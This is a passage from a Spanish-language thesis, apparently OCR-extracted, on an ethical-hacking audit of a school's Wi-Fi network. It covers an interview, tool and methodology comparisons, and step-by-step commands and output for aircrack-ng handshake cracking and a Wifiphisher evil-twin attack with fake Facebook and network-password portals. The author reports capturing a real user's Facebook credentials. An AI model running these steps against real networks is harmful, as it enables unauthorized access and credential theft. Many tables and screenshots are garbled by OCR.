se aplica una entrevista y se obtuvieron las siguientes respuestas de las preguntas

gue se procedieron a realizar.

Tabla 6: Entrevista docente administracién T1 de la Institucion

Nombre del entrevistado: Ing. Marco Chicaiza

Institucién: Unidad Educativa Pelileo

Entrevistador: Shirley Nifiez

Preguntas

Respuestas

Observacion

1. ¢ Conoce el estado actual de
la red inaldmbrica y su
funcionamiento?

La red se encuentra funcional,

pero no cuenta con una
estructura de seguridad
adecuada.

La red funciona como una red
local bésica siendo vulnerable
debido a la falta de medidas de
seguridad.

2. ¢Existe algan
departamento dedicado a la
administracién de redes, en el
caso de no haber considera
importante empezar a
administrarla?

Actualmente no existe un
departamento dedicado a la
administracion de redes. Seria
muy conveniente e importante
contar con uno.

La administracién de la red
recae en docentes.

3. ¢Existen politicas de
conexion y de seguridad en la
red inaldambrica?

No existen politicas de
conexion ni medidas de
seguridad en la red.

La conexion se encuentra en su
configuracion por defecto.

4. ;Qué entiende por | La seguridad cibernética | Reconoce la importancia de
seguridad  cibernética o | involucra proteger la | proteger la informacion en
seguridad en linea? informacion y los sistemas de | linea.

amenazas en linea.
5. ¢Ha experimentado su | No se ha experimentado | Considera  que  al no
institucion  incidentes  de | incidentes  de  seguridad | experimentar incidentes
seguridad cibernética? cibernética. anteriores, no se puede asumir

que la seguridad en linea esté
suficientemente establecida
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6. ¢COmo cree que la

seguridad en linea podria

afectar al personal?

Mejoraria la transferencia y

control de datos.

Identifica que la seguridad en
linea es fundamental para I
confidencialidad de la
informacion.

7. ¢Ha oido hablar de

Tiene conocimiento sobre virus

Comprende la existencia de

amenazas en linea. Asi como

amenazas en linea como virus | informéaticos hackers, L . .
y también sus acciones y riesgos.
informaticos o hackers? comprende que representan
amenazas en linea.
8. ¢(Cree que es importante| Considera fundamental | Reconoce la importancia de la

proteger la informacion en
linea de la institucion?

proteger la informacion.

proteccion de datos en linea y

sus implicaciones.

Conclusion: En la institucion, se identifica que la red inalambrica se encuentra en un estado basico

de configuracidn, sin politicas de seguridad. La falta de un departamento dedicado a la administracién

de redes y la escasa implementacion de medidas de seguridad en la red son areas de mejora

identificadas. Ademas, reconoce la importancia de proteger la informacion en linea, especialmente

en un entorno educativo, enfocandose en la confidencialidad y la necesidad de contar con un

departamento de redes.

2.2.4 Procesamiento y analisis de datos

e Lamayoria de los docentes muestra una preocupacion notable por la seguridad

en las redes inaldmbricas, lo que refleja un nivel de conciencia sobre esta

cuestion.

e Algunos docentes destacaron la necesidad de medidas adicionales para reforzar

la proteccion en la red inalambrica, lo que sugiere mejorar la infraestructura de

seguridad.
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En cuanto a la satisfaccion general con la seguridad en la conexion inaldmbrica,
las opiniones son diversas. Mientras que algunos docentes estan satisfechos,

otros muestran inquietudes o mantienen una postura neutral.

La red Wifi institucional, aunque es funcional, carece de medidas de seguridad,

lo que la hace vulnerable.

Actualmente, no existe un departamento dedicado a la administracion de redes.
La red se mantiene por docentes, lo que es una fuente de preocupacion en

términos de seguridad.

También se enfatizd la importancia de proteger la informacion en linea,
especialmente la confidencialidad de los datos de los usuarios de la red, para

garantizar la continuidad de las operaciones.
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CAPITULO IIl. RESULTADOS Y DISCUSION

3.1 Analisis y Discusién de los Resultados

3.1.1 Vulnerabilidades comunes en Redes Inalambricas

Las vulnerabilidades mas comunes que afectan a las redes inalambricas se identifican
y describen como puntos débiles que pueden ser explotados por atacantes, lo que
incluye problemas relacionados con la autenticacion, la configuracion y otros aspectos
de seguridad. Ademas, se realiza una clasificacion de estas vulnerabilidades en funcion
de su grado de riesgo [30], lo que ayudara en la posterior evaluacion y mitigacion. El
andlisis es fundamental para comprender el panorama de amenazas y prepararse

adecuadamente para las pruebas de hacking ético en redes inalambricas.

Tabla 7: Vulnerabilidades comunes en Redes Inaldmbricas.

Vulnerabilidad Definicion Consecuencias Riesgo

Ataques de Fuerza Intentos de adivinar Riesgo de bloqueo de Medio[30]

Bruta contrasefias probando una .cuentgs, posibles
intrusiones. [31]
amplia variedad de
combinaciones, efectivos con
contrasefias débiles. [31]
Ataques de Uso de diccionarios de Posible acceso no Medio[30]
DAEOIErE e contrasefias para adivinar autorlzadc_), Mesge @2
compromiso de
contrasefias mediante fuerza cuentas.[31]

bruta.[31]

Falsificacion ~ de Creacion de puntos de acceso  Suplantacion de identidad, Alto[30]
SSID (Evil Twin) robo de informacion

falsos que parecen legitimos . .
aue P g confidencial.[32]

para engafar a los usuarios y
robar datos.[32]
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Ataques

Ataques
(Denegacion
Servicio)

Man-in-
the-Middle (MitM)

DoS

Interponerse en
comunicacion  entre
partes para interceptar

modificar datos. [33]

Forzar
de

red. [34]

la
dos

0

la desconexion de

dispositivos legitimos de la

Interceptacion de datos,

Alto[30]

posible manipulacion de

comunicaciones. [33]

Interrupcion de
conectividad
dispositivos
[34]

3.1.2 Tipos de Herramientas para Hacking Etico

la Alto[30]
de

autorizados.

Las herramientas de hacking ético son esenciales para la seguridad informética, ya que

permiten identificar y corregir vulnerabilidades en sistemas y redes. Estas

herramientas simulan ataques reales, proporcionando a las organizaciones una

comprension detallada de sus debilidades y mejorando su postura de seguridad.

Ademas, son fundamentales para el entrenamiento y desarrollo profesional en el

campo de la seguridad, contribuyen a la mejora continua de las medidas de seguridad,

ayudan a cumplir con regulaciones y normativas, protegen la privacidad y los datos,

sirven como herramientas educativas para crear conciencia sobre las amenazas

cibernéticas.

Tabla 8: Cuadro comparativo de herramientas para Hacking

Herramientas

Aircrack-ng

Caracteristicas

-Utilizado para auditorias de
seguridad en redes
inaldmbricas.

- Realiza ataques de fuerza
bruta y diccionario. [35]

Ventajas

-Efectivo para recuperar
contrasefias

Wi-Fi. [35]
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Desventajas

- Requiere
conocimiento
técnico.

- Ataques pueden ser
ilegales sin permiso.
[35]



Wireshark

Bettercap

Ettercap

Fern Wi-Fi
Cracker

Wifiphisher

Airgeddon

- Analiza el trafico de red en
tiempo real.

- Puede descifrar
contrasefias Wi-Fi
capturadas. [36]

- Especializada en pruebas
de penetracién de Wi-Fi.

- Captura informacion sobre
SSID.

- Realiza ataques
MITM[37].

- Realiza ataques MITM

- Especificamente para
atacar redes LAN o WLAN
[38].

- Realiza ataques de fuerza
bruta y diccionario.

- Crea informes
detallados.[39]

- Utilizado para atacar
ingenieria social.

- Realiza ataques de Evil
Twin[40].

- Realiza maltiples ataques
Wi-Fi, incluyendo WPS,
WEP y WPA.

- Automatiza el proceso de
obtencion de claves. [41]

-Muestra
precisos del tréfico.

- Facil de usar. [36]

- Ideal para auditorias de

redes inalambricas.

- Automatiza tareas[37].

- Efectivo en redes con
WPS habilitado.

- Automatiza el proceso

[38].

- Interfaz grafica facil de

usar.

- Genera estadisticas.[39]

- Especializado en
ataques pishing[40].

- Amplia gama de
ataques disponibles.

- Interfaz intuitiva.[41]
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detalles

- No se especializa en
pruebas de
penetracion Wi-Fi.

- Requiere capturar
trafico previamente.
[36]

- Requiere comandos.

- Debe utilizarse con
autorizacion[37].

- Utiliza interfaz
grafica.

- Puede requerir
tiempo para encontrar
claves [38].

- Limitado a
contrasefias débiles.

- Requiere buen
conocimiento de
redes.[39]

- No es efectivo en
redes donde se ha
habilitado el WPS3.

- Inmediato en
generar la red falsa
[40].

- Requiere un buen
conocimiento de las
redes.

- Debe utilizarse con
autorizacion. [41]



- Automatiza la auditoria de
redes Wi-Fi.

Wifite2
- Realiza ataques WEP,

WPA y WPS. [42]

Escaneo rapido de
dispositivos.

Nmap

Identificacién servicios de
un sistema [43].

Metasploit Escaneo de Vulnerabilidades

Ataques [44].

Acrylic Wifi
Analyzer.

Escanea los APs que
transmiten en la zona[45].

- Féacil de usar y
automatiza muchos
ataques. [42]

Detecta dispositivos,
servidores, enrutadores,
servidores web, los
servidores DNS [43].

Explotaciéon manual
Ingenieria social [44].
Muestra SSID, MAC,

RSSI, canales de la
red[45].

- Requiere
conocimiento técnico
para su
configuracién.

- Debe utilizarse con
autorizacion. [42]

Los firewalls del
equipo escaneado,
pueden bloquear las
comunicaciones[43].

Modulos posteriores
para explotacién
[44].

Para escaneo mas
completo se necesita
version paga [45].

Después de realizar una comparativa de las herramientas en la Tabla 6, se selecciond
Acrylic WiFi para obtener informacion relevante de la red. Nmap por su versatilidad
en el escaneo. Mientras que las herramientas Wifiphisher, Ettercap y Aircrack-ng
ofrecen capacidades especificas para detectar vulnerabilidades en cuanto a los ataques
evaluando la seguridad de la red, gracias a la funcionalidad técnica y la presencia de

interfaces graficas de usuario que facilitan su ejecucion.

3.1.3 Metodologias de Hacking Etico

La realizacion de pruebas de seguridad incluye el uso de una metodologia especifica
en hacking ético. Proporciona un marco estructurado que dirige todo el proceso de
evaluacion, desde la planificacion hasta la implementacion de pruebas y la
presentacion de informes. La estructura asegura que se cubran todas las areas
pertinentes del sistema bajo evaluacion, lo que maximiza la ejecucion de las pruebas.
Ademas, facilita la replicabilidad al permitir que otros profesionales verifiquen y

validen los resultados. Al implementar una metodologia, se garantiza la coherencia en
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la ejecucion de pruebas, se pueden identificar de manera mas efectiva las

vulnerabilidades y se proporciona una base solida para la determinacion de medidas

de proteccion.

Aspectos
Enfoque

Principal

Estructura

Uso de
Herramientas

Tiempo de
Ejecucion

NUdmero de
Personas en el
Equipo

Tabla 9: Metodologias de seguridad informética.

OSSTMM

Pruebas de seguridad en
general, incluyendo
redes, sistemas y
aplicaciones. [46]

Amplia  cobertura de
temas con enfoque en
seguridad en redes. [46]

Ofrece orientacién sobre
el uso de herramientas y
técnicas, pero no esté tan
orientado a herramientas
especificas. [46]

Puede requerir varias
semanas a  meses,
dependiendo del alcance
del proyecto. [46]

Puede funcionar con
equipos de diferentes
tamarios, dependiendo de
la  complejidad  del
proyecto. [46]

OWISAM

Pruebas de seguridad
enfocadas en
aplicaciones web [47].

Metodologia con énfasis
en la documentacion y
procesos de aplicacion
[47].

Se centra en técnicas y
herramientas para
pruebas de seguridad de
aplicaciones web [47].

Generalmente mas rapido
que OSSTMM debido a
un enfoque mas
especifico; semanas a
pocos meses [47].

Puede funcionar bien con
equipos mas pequefios,
especialmente en pruebas
de aplicaciones web [47].
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ISSAF

Enfoque integral
para la evaluacion
de seguridad de
sistemas de
informacion [48].

Incluye fases como
recopilacion de
informacién,
analisis de
vulnerabilidades vy
explotacion [48].

Enfatiza el uso de
herramientas
respaldadas por el
marco ISSAF,
ademas de técnicas
especificas [48].

Depende de la
profundidad de las

pruebas; podria
variar desde
semanas hasta
meses, segun el
alcance del
proyecto.

Puede requerir un
equipo mas grande
debido a la variedad
de pruebas de
seguridad que
cubre.



Documentacion
y Reportes

Enfoque Etico

Cobertura de
Temas

Se enfoca en la
documentacién de
procedimientos de
prueba. [46]

Enfatiza la ética y la
responsabilidad en las
pruebas de seguridad en
redes. [46]

Amplia cobertura de
seguridad en  redes,
sistemas y aplicaciones.
[46]

Pone un énfasis especial
en la documentacion vy
generacion de reportes
detallados [47].

Promueve pruebas de
aplicaciones web vy
sistemas con ética [47].

Enfocado principalmente
en pruebas de seguridad
en aplicaciones web [47].

Proporciona pautas

para la
documentacion,
pero con un

enfoque en las
pruebas en si [48].

Los criterios se
alinean con la
satisfaccion de
estandares de
seguridad y
regulaciones [48].
Enfocado en
pruebas de

seguridad en varios
dominios en general

[48].

Popularidad Enfocada en seguridad Menos comiUn  que Reconocida en la
en redes, utilizada en = OSSTMM, pero utilizado comunidad de
proyectos que | en pruebas de _
involucran redes  aplicaciones web [47]. seguridad y
inaldambricas. [46] utilizada en

pruebas  variadas
[48].

La eleccion de la metodologia ISSAF se fundamenta en su enfoque integral y detallado
para realizar pruebas éticas de hacking. Proporciona una estructura organizada que
abarca desde la planificacion hasta la ejecucion y la presentacion de informes. Sin
embargo, para una evaluacion mas especifica, se ha decidido complementar esta
metodologia con OWISAN para abordar los controles de seguridad. Esta combinacion
de metodologias se selecciona para garantizar una evaluacién profunda y bien
equilibrada de la seguridad en redes inalambricas, asi como para fortalecer los

controles de seguridad en general.
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3.2 Desarrollo de la Propuesta

La propuesta incorpora un enfoque integral para abordar la evaluacion y el
fortalecimiento de la seguridad en la conexion Institucional. El esquema de esta fase
de este proyecto se basa en los principios y directrices de la metodologia ISSAF. La
planificacion y la preparacion son esenciales para determinar el alcance del trabajo,
establecer modalidades de ejecucion y crear un plan que oriente las actividades a lo
largo de las diferentes fases. En esta etapa, la evaluacion implica la realizaciéon de
pruebas tanto activas como pasivas para descubrir y abordar posibles vulnerabilidades.
Este método resulta en un analisis de la seguridad que no solo proporciona una vision
critica de las areas de riesgo, sino que también establece las bases para futuras

implementaciones y mejoras en el marco de la ciberseguridad de la institucion.

3.2.1 Fases de aplicacion de Pruebas de la metodologia IssaF

La ejecucion de las pruebas de vulnerabilidad en las redes inalambricas, se llevara a
cabo conforme a las directrices establecidas por la metodologia ISSAF
especificamente en la seccion M que aborda la Evaluacién de Seguridad WLAN [48].
Este enfoque metddico proporcionara un marco estructurado para la identificacion y

evaluacion de posibles amenazas en la infraestructura de red.

1. Planeacion y Planificaciéon

Recoleccion de
Informacion

Escaneo —
J Auditoria

s Anilisis y

Evaluacién _I/ Biisqueda
L
Explotacion y
Ataque

Reporte v
Presentacion

3. Reporte, Limpieza y
destruccion de objetos

Figura 11: Fases de metodologia ISSAF
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Se seguird los pasos delineados por esta metodologia estructurada en tres fases que

constituye el marco principal para garantizar la integridad de las pruebas y la ética en

cada fase del proceso de hacking ético. Este enfoque organizado facilitara la

identificacion de wvulnerabilidades en la red inaldambrica, permitiendo asi una

comprension detallada de los riesgos potenciales.

Las fases y tareas a realizar son:

Fase 1 (Planeaciény Preparacion): Se crea el marco de trabajo, se establecen
y delimitan los propdsitos de analisis de esta fase inicial. Para el éxito de las
siguientes fases, es necesaria una planificacion detallada y la identificacion de
los recursos necesarios.

Fase 2 (Evaluacion): El nicleo de la metodologia es la etapa de evaluacion.
Las pruebas de penetracion se realizan en esta fase. Se realiza una exploracion
de la red con el fin de identificar posibles brechas de seguridad. Los hallazgos
se registran de manera meticulosa, lo que da una imagen clara de los puntos
débiles.

Fase 3 (Reportes, Limpieza y Destruccion de Artefactos): La fase final
implica la presentacion de informes que documentan los resultados de la
evaluacion, destacando las vulnerabilidades identificadas y proponiendo
soluciones para su mitigacion. Ademas, se aborda la limpieza de cualquier
rastro dejado durante las pruebas y la destruccion de artefactos utilizados,

garantizando la integridad y confidencialidad de la informacion.

a. Fase 1: Planificacion y Preparacion.

e Alcance del Trabajo:

El proyecto se lleva a cabo en la Institucion Educativa.
Los tipos de pruebas de penetracion son intrusivo y no intrusivo.
La modalidad del desempefio de caja negra se aplica en el servicio de hacking.

Las pruebas de seguridad se llevan a cabo durante las horas laborales.
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e Planificacion de Actividades

La planificacion de actividades se rige por las etapas esenciales de la metodologia
ISSAF. Con atencidn particular a la Fase 2: Evaluacion, en la cual se lleva a cabo las

pruebas de penetracion.
b. Fase 2: Evaluacion

Mediante la ejecucién de pruebas segun la metodologia ISSAF, se pueden identificar

dos modalidades de ataques:

e Ataques Activos

Es una accién deliberada y directa realizada por un agente malintencionado con el
objetivo de comprometer, alterar o dafiar sistemas, redes o datos. En este tipo de
ataque, el atacante interviene directamente, ejecutando acciones intrusivas como la
manipulacion de datos, la inyeccion de codigo malicioso o la interrupcion del

funcionamiento normal de un sistema.

e Ataques Pasivos

Es sutil y se centra en la observacion y recopilacion de informacion sin alterar
activamente los sistemas. Durante un ataque pasivo, un atacante intercepta y
monitoriza comunicaciones, trafico de red o datos, con el propdsito de obtener

informacidn confidencial sin dejar rastros evidentes de su presencia.

¢ Identificacion de Pruebas de Seguridad:

Basandose en las secciones de los controles OWISAM, se determinaron las pruebas
de seguridad a llevar a cabo, siguiendo las subfases especificas de la metodologia
ISSAF para redes WLAN. Ademas, es importante vincular las herramientas de hacking

ético y sus modos de ataque a las pruebas.

Aunque existen 64 controles de la metodologia OWISAM, mas detalles en Anexo A,
en esta evaluacion se selecciona nueve de las diez secciones. Esto se basa en la
importancia de concentrarse en los elementos significativos para la seguridad de la red,

lo que permite una evaluacion de infraestructura completa.

54



Tabla 10: Identificacion de Pruebas de Seguridad Inalambrica

SubFase

ISSAF

Recopilacion
de

Informacion

Escaneo

Auditoria

Analisis y

Busqueda

Explotacion

y Ataques

Pruebas

OWISAM

Descubrimiento
activo de
dispositivos y
redes.

Identificacion  de
funcionalidades
soportadas por el
dispositivo.

Pruebas sobre WPS.

Interfaces
accesibles desde la
red.

Prueba de
AP/Router

Verificacion  del
grado de amplitud
de sefial o area de
alcance.

Analisis
protocolos de
cifrado WEP,
TKIP

Captura y cracking
de claves en el
proceso de
autenticacion.

Controles

OWISAM

(OWISAM-DI-005)

(OWISAM-FP-002)

(OWISAM-AU-002)

(OWISAM-IF-002)

N/A

(OWISAM-CF-003)

(OWISAM-CP-004)

(OWISAM-AU-004)
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Herramientas

Acrylic Wifi

Analyzer.

Acrylic Wifi

Analyzer.

Acrylic Wifi

Analyzer.

Navegador

Nmap.

Acrylic Wifi

Analyzer.

Aircrack-ng

Wifiphisher

Modo

Ataque

Pasivo

Pasivo

Pasivo

Pasivo

Activo

Pasivo

Activo

Activo



Pruebas de (OWISAM-DS-001) Aircrack-ng Activo
desautenticacion.

3.2.2 Ejecucién de pruebas

La ejecucion de las pruebas de seguridad se registra mediante el empleo de una
plantilla recomendada por la norma ISSAF. Este enfoque estructurado facilita la
documentacion detallada de los procedimientos, resultados y hallazgos, contribuyendo

a una evaluacion de proteccion en conexiones inalambricas.

En la Tabla 8 se indica las pruebas que se ejecutaron en cada item de las subfases y

fases proporcionadas por la metodologia ISSAF y los controles OWISAM.

Las pruebas pasivas, como la recopilacion de informacion, el escaneo y el analisis, se
incluye en el Anexo B del para proporcionar un panorama general del entorno sin

interferir en el desarrollo de los ataques activos.

Por otro lado, durante el desarrollo de la propuesta, se detalla y complementa las
pruebas activas que implica el ataque directo a la red inalambrica. Las especificadas
en los controles de la metodologia como la captura y el cracking de claves transmitidas,
las pruebas de de autenticacion y se adiciona la implementacion de ataques como Man-

in-the-middle y Evil Twin.

Esta estrategia tiene como objetivo no solo proporcionar un analisis ambiental
completo, sino también evaluar activamente la resistencia y la seguridad de los

sistemas involucrados.

Se ejecuta 4 de los ataques mas comunes en redes inalambricas, estos ataques activos

se ejecutan mediante una secuencia.

Para evaluar la fortaleza de contrasefias se decidio iniciar con el ataque de fuerza bruta

ya que pueden representar la mayor vulnerabilidad. En el caso de no obtener resultados
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o0 para verificacion de la contrasefia capturada en el atague anteriormente mencionado,
se llevo a cabo un ataque de Evil Twin que se centra en crear puntos de acceso falsos
para engafiar a los usuarios. Este método sirve para buscar posibles debilidades en la
percepcion de los usuarios sobre las conexiones de red legitimas. Después, se
implemento un ataque de denegacion de servicio para evaluar la capacidad de la red
soportando situaciones de saturacion y agotamiento. Luego, se llevo a cabo un ataque
Man-in-the-Middle con el objetivo de interceptar y analizar la comunicacion entre los
dispositivos conectados. La logica de explorar desde las vulnerabilidades méas basicas
hasta los escenarios mas complejos permitio una evaluacion completa de la seguridad

de la red en estudio.

Se opt6 por ocultar la informacién confidencial obtenida durante los procesos de
penetracion debido a la sensibilidad de los datos y la necesidad de cumplir con normas
éticas y legales. Este proceso se implemento para proteger la privacidad de los usuarios

y cualquier informacion sensible que se descubriera durante las pruebas de seguridad.
Instalacion Maquina Virtual

Kali Linux, un sistema operativo conocido por su amplia gama de herramientas de
seguridad, se utilizd6 para crear una maquina virtual en VMware como entorno de
prueba para detectar vulnerabilidades potenciales en redes inalambricas. Esta
configuracién proporciona un entorno controlado para explorar y utilizar una variedad

de herramientas especializadas para encontrar fallas en redes Wi-Fi.

Asegurarse de que la maquina virtual pueda detectar conexiones Wi-Fi es esencial para
realizar pruebas de penetracion de manera efectiva. Al instalar Kali Linux, la conexion
a Internet se establece por defecto a través de cable. No puede asignar la tarjeta de red
del equipo a la maquina virtual porque ya esta en uso en la méaquina principal. Como
resultado, para permitir que la maquina virtual se conecte inalambricamente, se
requiere una tarjeta de red Wi-Fi externa. Este paso garantiza que las pruebas abarquen

redes inalambricas, lo que proporciona una evaluacion completa.
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Configuracion del adaptador o tarjeta de red

Esta tarjeta estd configurada por defecto en modo Managed es decir "gestionado” o
"administrado, debido a que esta conectada a una red especifica, lo que limita la
capacidad de observacion, no puede capturar todos los paquetes de datos que circulan
por el aire.

Es necesario ajustar la configuracion de la tarjeta de red al modo monitor en lugar de

mantener la forma predeterminada.

En el modo "Monitor", la tarjeta de red puede capturar trafico sin estar conectada a
una red especifica, lo que permite un analisis completo de las comunicaciones entre
dispositivos. Esta modificacion es importante en escenarios de investigacion y
evaluacion de seguridad, donde se busca comprender y abordar los riesgos potenciales

de las interacciones inalambricas.
a. Ataque de Fuerza Bruta y Diccionario

Es una técnica de intrusion cibernética que se basa en la tenacidad y persistencia del
atacante para descifrar contrasefias Wi-Fi y obtener acceso no autorizado a sistemas
protegidos. En este tipo de ataque, el atacante intenta sistematicamente varias
combinaciones de contrasefias hasta obtener la adecuada. Es una estrategia que explora
la debilidad de las contrasefias al probar todas las opciones, desde combinaciones
simples hasta complejas, con el objetivo de encontrar la clave correcta que permita el
acceso no autorizado. Esta prueba se realiza con la ayuda de un diccionario para

evaluar todas las combinaciones posibles.

Se ha elegido Aircrack-ng como herramienta para llevar a cabo el primer ataque
durante la realizacion de este proyecto de investigacién, la misma se destaca por su

capacidad para analizar vulnerabilidades en redes Wi-Fi.

La seleccion de estas herramientas se basa en que la metodologia lo establece usar,
ademas en su capacidad para detectar y explotar fallas en redes inalambricas. Usar esta
combinacion estratégica para llevar a cabo un ataque de fuerza bruta controlado,

utilizando metodologias y principios éticos estrictos.
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Para llevar a cabo el ataque se aplica los siguientes pasos:

1. Abrir la maquina virtual VMWare e iniciar sesion en Kali Linux una vez dentro

abrir una terminal y en modo root instalar aircrack-ng.

~

1d¢ install aircrack-ng
Reading package lists ... Done
Building dependency tree ... Done

Reading state information... Done
Suggested packages:
gpsd
The following packages will be upgraded:
aircrack-ng

Figura 12: Instalacion de aircrack-ng.

2. Con el comando iwconfig, se verifica la tarjeta de red, en esta practica se denomina

wlan0

~

né wireless extensions.
ethe no wireless extensions.
ethl no wireless extensions.
wlan@ IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm

Retry short limit:7 RTS thr=2347 B Fragment thr:off
Power Management:off

Figura 13: Visualizacion interfaz de red
3. Activar el modo escucha o monitor del adaptador de red con el comando airmon-

ng start wlanO que se visualiza en la Figura 14.

start wlan@

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
686 NetworkManager
2039 wpa_supplicant

Interface Driver Chipset

wlan@ ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy@lwlan® on [phy@]Jwlan@mon)
(mac80211 station mode vif disabled for [phy®]wlan®)

Figura 14: Comando habilitar modo monitor tarjeta de red
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4. Verificar con el comando iwconfig, la tarjeta de red ahora aparece con el nombre

wlanOmon

lo no wireless extensions.

etho no wireless extensions.

ethl no wireless extensions.

wlan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

Figura 15: Tarjeta de red modo monitor

5. Monitorear las redes disponibles o redes en el area de cobertura con el comando

airdump-ng y la interfaz de red wlanOmon.

Jhome/kali

Figura 16: Comando buscar redes disponibles

| root@kali: /fhome/kali

File Actions Edit View Help

CH 7 ][ Elapsed: 1 min ][ 2823 A5 15:2@8 ][ interface wlan® down

PWR Beacons #Data, #/s C MB ENC CIPHER AUTH

. = \p : LLERENA
‘ -

Figura 17: Redes encontradas al auditar
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6. Seleccionar la red de la Institucion para monitoriar y capturar su trafico con el

comando airodump-ng -w ‘“Nombre del archivo .cap” -bssid “Direccion MAC del

router de red” -c¢ “Numero canal de la red” “Interfaz de la tarjeta de red”

/home/kali
EscanerUEP 1d D8 49! - 6 wlan@m -:unl

Figura 18: Comando para crear archivo cap

7. Captura de handshake para determinar que el cliente como el punto de acceso tienen
las credenciales correctas

CH 6 ][ Elapsed: 11 mins ][ 2 :34 ][ WPA handshake: D8: :'2-

PWR RXQ Beacon #/s CH ENC CIPHER AUTH ESSID
130  WPA2 CCMP PSK Unidad Educativa Pelileo
Frames MNotes Probes

EAPOL Unidad Educativa Pelileo

Unidad Educativa Pelileo

EAPOL

Figura 19: Captura Handshake

8. Emplear un diccionario (Creado o Preestablecido) para intentar “adivinar” la
contrasefia de la red, con el comando aircrack-ng “Direccion de la ubicacion del

archivo .cap” -w “Direccion de la ubicacion del diccionario”

Ffhome/kali

EscanerUEP1-01.cap -w rockyou.txt]]

Figura 20: Comparacion archivo cap y diccionario preestablecido
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9. Luego que ha realizado una comparacion el archivo .cap creado con el trafico de

la red y el diccionario no se ha podido obtener la contrasefia de la red.

root@kali: fhome/kali

File Actions Edit View Help

crack-ng 1.7
[03:13:4 4345517/ ys tested (1254.03 k/s)
Time left: -1 1195 day, 20 hours, 3@ minutes, 56 seconds

KEY NOT FOUND

Master Key

Transient Key : @

EAPOL HMAC : 00 20 29 90 90 PP PP PP PP PP PP PO 00 00 00 09

/home /kali

Figura 21: Captura de contrasefia

El proceso de conseguir la combinacidon correcta de passwords puede resultar
complicado, porque depende de la dificultad de determinar las claves. Las contrasefias
suelen ser sencillas en la mayoria de los hogares porque son muy facil de recordar. En
este caso, se puede realizar un ataque de fuerza bruta y diccionario, pero no obtener la

clave de red, el resultado depende si la clave no es muy compleja.
b. Ataque Evil Twin o0 Gemelo Malvado

Este ataque es considerado como una parte de ingenieria social para engafiar a los
internautas y obtener credenciales de usuario que, sin darse cuenta, proporcionan datos

que permiten violaciones de seguridad.

También llamados ataque del "gemelo malvado”, donde el atacante imita un punto de
acceso similar al que el cliente se conecta habitualmente y, tras desencadenar diversas

situaciones, permite al usuario obtenga mas informacion sobre las contrasefas.

Para efectuar el ataque de Evil Twin, se hace uso de Wifiphisher en el entorno de
pruebas. Es una herramienta disefiada para realizar ataques de suplantacion de

identidad en redes inalambricas. Su habilidad para crear copias maliciosas de puntos
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de acceso legitimos le permite desemperfiar un papel importante en la ejecucién de este

ataque.
El uso de Wifiphisher conlleva a la utilizacion de dos antenas que funcionan como:
Un punto de acceso falso antena: (TP-LINK).

Para des autenticar a los usuarios que se encuentren en el punto de acceso real se utiliza

la antena: (Alfa Network).

1. Instalar wifiphisher y abrir con el siguiente comando visualizado en la Figura 22.

/home/kali

Figura 22: Comando wifiphisher

2. Se despliega una ventana con las redes cercanas. Para esta practica se selecciona

la red con el nombre de la Institucion Unidad Educativa Pelileo.

Options: [Esc] Quit Move Up [Down Arrow]

ESSID CH PWR ENCR CLIENTS VENDOR

Unknown
Ubiguiti Networks

Unknown

Figura 23: Seleccion de la red a atacar
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3. En la siguiente interfaz se selecciona DAuth Login Page, este simula un portal de

login de Facebook para intentar capturar credenciales importantes.

Available Phishing Scenarios:

1 - Firmware Upgrade Page
A r confi without [ or brands asking for WPA/WPA2 pass
firmware upg -fr

2 - Network Manager Connect

wing the
ndow through

A free Wi-Fi § ce asking for social network credentials to authenticate via OAuth.

Figura 24: Seleccién del portal cautivo

4. Visualizar en el apartado de las redes WiFi que se ha creado una red con el nombre

igual a la que vamos a obtener la contrasefia, pero su estado es abierto.

root@kali: fhome/kali

_ File Actions Edit View Help Z Unidad Educativa Pelileo

(7 Unidad Educativa Pelileo

i ﬂﬁ ITSP.DOCENTES02

10.90.0.15

ﬁm ITSP.ESTUDIANTES
e DIRECT-IzMFC-T810W_BROea7
e |TSP.ESTUDIANTES2
< LABORATORIO3

/e TELECOM-REINOSO

Configuracién de red e Internet
Cambia los ajustes de configuracién, como hacer que una
conexién sea de uso medido.

2

or press Ctrl+G. Modo avien

Figura 25: Red atacada duplicada
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5. Los usuarios seran desconectados de la red y no se le permitira conectarse otra vez
por lo que tendran que acceder a la red abierta con el mismo nombre, al intentar

conectarse de nuevo se re direcciona a un portal cautivo para intentar obtener

credenciales.

Facebook
# https://www.facebook.com/login

Facebook

Log in with your Facebook account:

Email or Phone: Enter your Email or Phone numbe:

Password: Enter Password

[coreer] T

Figura 26: Portal cautivo simulando login de Facebook

6. En la interfaz de wifiphisher se muestra las victimas posibles, se logré obtener las

credenciales que un usuario ingreso mediante el login de Facebook para poder

obtener acceso a la red.

kali@kali: ~

WLAN
WLAN

androidéchannel=stableémilestone=120

Figura 27: Interfaz wifiphisher capturando credenciales
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7. Presionar ESC y se termina la ejecucion de ese portal. Al salir también se muestra

las credenciales capturadas.

1% QGIT ( http;

(BSSID) to 0@:00:
( ; addr (BSSID) to 00:00:00
Sending { wpa_supplicant
Sending SIGKILL to Networkh g
( d leases, started D up iptables
ing QAuth Logi Tamph'r.:
g % oint ...
ng HTTP/HTTPS server at ports 8080,
jour support!
itter.com/wifiphisher
book.com/Wifiphisher

Figura 28: Captura de credenciales login Facebook

8. Ingresar nuevamente el comando wifiphisher y seleccionar Network Manager
Connect, este portal interrumpe la conexion y solicita que se ingrese la contrasefia

otra vez.

Available Phishing Scenarios:
1 - Firmware Upgrade Page

without r brands asking for WPA/WPA2 password due to a
firmware up:

ough the

ce asking for social network credentials te authenticate via OAuth.

Figura 29: Portal Network Manager Connect

66



There is no Internet connection

You can try to diagnose the problem by taking the following steps:
Go to
Applications > System Preferences > Network > Assist me

to test your connection. Unidad Educativa Pelileo

Enter the network security key

Try:
s Checking the network cable or router
You can also connect by pushing the button on the

router.

* Resetting the modem or router
s Reconnecting to Wi-Fi
Share network with my contacls

Next

DETAILS

Figura 30: Portal cautivo obligando a ingresar nuevamente credenciales de red

9. Terminar la ejecucion de wifiphisher con ESC, visualizar que se ha capturado la
